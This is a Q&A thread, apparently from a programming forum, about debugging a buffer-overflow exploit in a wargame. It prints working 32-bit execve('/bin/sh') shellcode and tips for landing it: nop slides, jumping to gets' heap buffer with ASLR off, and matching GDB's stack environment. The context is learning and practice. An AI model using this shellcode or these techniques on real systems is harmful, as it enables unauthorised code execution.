obskyr
obskyr

Reputation: 1459

Verified correct shellcode segfaults when run normally; “No such file” in GDB…?

For a wargame, I'm exploiting a buffer overflow to inject some shellcode to spawn /bin/sh. I started by writing my own shellcode, but I got some bizarre errors, so I tried a piece of known working shellcode – and got the same error! However, it gets weirder: running it locally (i.e. not on the wargame server) works fine (so I've verified the problem isn't with the code), and running it in GDB produces a different error.

When run normally:

$ ./program < /tmp/shellcode
[program output...]
zsh: segmentation fault  ./program < /tmp/shellcode

When run in GDB:

(gdb) run < /tmp/shellcode
[program output...]
process 2242 is executing new program: /proc/2242/exe
/proc/2242/exe: No such file or directory.

The shellcode can be found here, or, in NASM Intel syntax:

    BITS 32

    ; Set up "/bin/sh" string
    xor eax, eax
    push eax
    push 0x68732F2F
    push 0x6E69622F
    
    ; Set up execve arguments
    mov ebx, esp
    mov ecx, eax
    mov edx, eax
    mov al, 0xB ; execve's ID
    int 0x80

    ; exit()
    xor eax, eax
    inc eax
    int 0x80

I've confirmed in GDB that the code is inserted properly, that it's jumped to in the correct place, and even that execution reaches the int 0x80 that's supposed to spawn a shell – but as soon as you try to si past it, it gives you the error above.

I've also confirmed at the point of the int 0x80 that the registers are, as far as I can tell, in order for an execve call. Here are the inspected registers from my own shellcode (not from the shellcode above, which sets up ecx and edx to null pointers, but this produces the same error):

(gdb) x/i $pc
=> 0xffffdc47:  int    0x80
eax            0xb      11
(gdb) # EBX should point to "/bin/sh"
(gdb) x/s $ebx
0xffffdc4e:     "/bin/sh"
(gdb) # ECX should point to a null-terminated pointer array.
(gdb) x/2wx $ecx
0xffffdc31:     0xffffdc4e      0x00000000
(gdb) # EDX should point to NULL.
(gdb) x/wx $edx
0xffffdc35:     0x00000000

Why does this execve syscall not work? And… what in the world could /proc/2242/exe be? The string sent to execve is "/bin/sh"! Given that this works when run locally, could the issue somehow be with the server's environment?

Some considerations:

Upvotes: 1

Views: 737

Answers (1)

obskyr
obskyr

Reputation: 1459

As it turns out, the segfault when running the program normally depends on a difference in GDB's environment! The stack state differs based on various things in the environment, which makes the code jump to the right place in GDB – but since I'm jumping to some shellcode on the stack, it's dependent on the current stack length and thus jumps to some invalid place when run normally. Why it works locally I can only guess, but I suppose my local environment simply lines up with that of GDB on the target machine.

I figured out three ways to fix this:

  • I could try various addresses in the vicinity of where I expect the stack pointer to be until I hit paydirt – perhaps a nop slide would help.
  • Or, as it turns out, gets has an internal buffer on the heap into which things go before they're copied (sans terminating newline) to their final destination. Since that's always in the same place (when ASLR is off), and since I'm injecting my shellcode via gets, I could jump there. And that is indeed what I ended up doing!
  • But the most facepalm-encouraging way of all is… I can simply run it via the ! shell command of GDB. Despite (gdb) run < /tmp/shellcode erroring out, and ./program < /tmp/shellcode segfaulting, (gdb) !./program < /tmp/shellcode works. This is because running that way ostensibly runs the program "normally" – in a shell – but with GDB's environment, thus ensuring that the stack state matches up.

So what about the GDB error? The /proc/1234/exe: No such file or directory. one? Well, here's the punchline: that error is unrelated, and happens even with a correct solution. As soon as the int 0x80 of an execve syscall is reached, GDB produces that error (and for some reason forgets the program that's being run, as well). I have absolutely no idea why it happens – if anyone has a clue, please share.

Upvotes: 2

Related Questions